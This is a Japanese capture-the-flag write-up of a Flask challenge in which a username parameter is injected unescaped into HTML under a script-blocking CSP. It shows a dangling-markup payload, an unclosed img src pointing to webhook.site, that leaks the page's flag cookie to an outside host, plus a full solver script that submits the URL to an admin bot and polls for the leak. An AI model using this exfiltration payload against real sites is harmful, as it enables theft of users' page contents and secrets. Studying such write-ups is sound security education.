Javascriptなしでもフラグを取得できますか?
import re
from flask import Flask, request, Response
app = Flask(__name__)
@app.get("/")
def index():
username = request.args.get("username", "guest")
flag = request.cookies.get("flag", "no_flag")
html = """<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<p>Hello [[username]]!</p>
<p>Your flag is here: [[flag]]</p>
<form>
<input name="username" placeholder="What's your name?"><br>
<button type="submit">Render</button>
</form>
</body></html>"""
# Remove spaces/linebreaks
html = re.sub(r">\\s+<", "><", html)
# Simple templating system
# Since Javascript is disabled, we shouldn't need to worry about XSS, right?
html = html.replace("[[flag]]", flag)
html = html.replace("[[username]]", username)
response = Response(html, mimetype="text/html")
# This Content-Security-Policy (or CSP) header prevents any Javascript from running!
response.headers["Content-Security-Policy"] = "script-src 'none'"
return response
CSPでJavascriptが禁止された状況で、botに表示内容をleakさせる問題です。
JS禁止でも外部にリクエストを飛ばす方法として、imgタグのsrcを向ける方法があります。
そして、srcの閉じクォートを使わず、パラメータとして後続の内容が続くようにしてしまえば、
次のクォートが現れるまで内容がリークします。
次の内容をusernameとして使います。
</p><img src='<https://webhook.site/TOKEN?leak=>
すると、
!</p>
<p>Your flag is here: [[flag]]</p>
<form>
<input name="username" placeholder="What
がリークします。
#!/usr/bin/env python3
import re
import time
from urllib.parse import quote, urlparse, parse_qs, unquote_plus
import requests
CHALLENGE = "<http://web:3000>"
BOT = "<http://34.170.146.252:42656>"
FLAG_RE = re.compile(r"Alpaca\\{[^}]+\\}")
def create_public_webhook_token() -> str:
"""
Webhook.site に認証なしで Token(URL) を新規作成。
これだと /token/{id}/requests が認証不要で取れることが多い。
"""
r = requests.post("<https://webhook.site/token>", timeout=10)
r.raise_for_status()
token_id = r.json()["uuid"]
print(f"[+] webhook token created: {token_id}")
print(f"[+] webhook inbox: <https://webhook.site/#!/view/{token_id}>")
return token_id
def build_malicious_url(challenge_url: str, webhook_token: str) -> str:
"""
src のクオートを閉じずに dangling markup でHTML(=flag)をURLに吸い込ませる
"""
challenge_url = challenge_url.rstrip("/")
payload = f"</p><img src='<https://webhook.site/{webhook_token}?leak=>"
return f"{challenge_url}/?username={quote(payload, safe='')}"
def submit_report(bot_url: str, target_url: str) -> None:
bot_url = bot_url.rstrip("/")
api = f"{bot_url}/api/report"
r = requests.post(api, json={"url": target_url}, timeout=10)
r.raise_for_status()
print(f"[+] report sent: {r.text.strip()}")
def fetch_requests_public(token_id: str):
"""
Get requests API(認証不要のトークン想定)
"""
url = f"<https://webhook.site/token/{token_id}/requests?sorting=newest&per_page=20>"
r = requests.get(url, headers={"Accept": "application/json"}, timeout=10)
if r.status_code == 401:
raise RuntimeError(
"Webhook API が 401 でした。"
" その token は認証必須になってます。"
" このスクリプトは create_public_webhook_token() で作った token を使ってください。"
)
r.raise_for_status()
return r.json().get("data", [])
def extract_flag(req: dict) -> str | None:
# まず query 辞書から leak を拾う
q = req.get("query") or {}
if isinstance(q, dict) and "leak" in q:
leak = unquote_plus(q.get("leak", ""))
m = FLAG_RE.search(leak)
if m:
return m.group(0)
# 念のため url 文字列からも拾う
u = req.get("url", "")
try:
parsed = urlparse(u)
qs = parse_qs(parsed.query)
if "leak" in qs and qs["leak"]:
leak = unquote_plus(qs["leak"][0])
m = FLAG_RE.search(leak)
if m:
return m.group(0)
except Exception:
pass
return None
def main():
token = create_public_webhook_token()
target = build_malicious_url(CHALLENGE, token)
print(f"[+] target url:\\n{target}\\n")
submit_report(BOT, target)
print("[*] polling webhook.site ...")
seen = set()
deadline = time.time() + 60
while time.time() < deadline:
for req in fetch_requests_public(token):
rid = req.get("uuid")
if rid in seen:
continue
seen.add(rid)
flag = extract_flag(req)
if flag:
print(f"[+] FLAG: {flag}")
return
time.sleep(1.0)
print("[-] flag not found. webhook UI で確認してみてください:")
print(f" <https://webhook.site/#!/view/{token}>")
if __name__ == "__main__":
main()